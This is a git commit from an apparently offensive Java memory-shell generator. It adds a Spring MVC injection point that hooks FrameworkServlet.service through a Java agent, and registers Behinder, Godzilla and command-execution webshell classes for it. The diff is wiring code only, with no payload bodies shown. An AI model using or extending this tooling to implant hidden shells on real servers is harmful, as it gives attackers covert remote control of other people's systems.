feat: support springwebmvc agent shell

1. hook point is org.springframework.web.servlet.FrameworkServlet.service
This commit is contained in:
ReaJason
2025-01-18 18:28:46 +08:00
parent 06b952b0ab
commit ee6490cf34
8 changed files with 295 additions and 9 deletions
@@ -1,12 +1,16 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector;
import com.reajason.javaweb.memshell.springmvc.injector.SpringFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
import org.apache.commons.lang3.tuple.Pair;
@@ -21,6 +25,7 @@ public class SpringMVCShell extends AbstractShell {
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String CONTROLLER_HANDLER = "ControllerHandler";
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
@@ -28,7 +33,8 @@ public class SpringMVCShell extends AbstractShell {
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class)
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
);
}
@@ -38,7 +44,8 @@ public class SpringMVCShell extends AbstractShell {
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class)
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringFrameworkServletAgentInjector.class)
);
}
@@ -48,7 +55,8 @@ public class SpringMVCShell extends AbstractShell {
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class)
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
);
}
}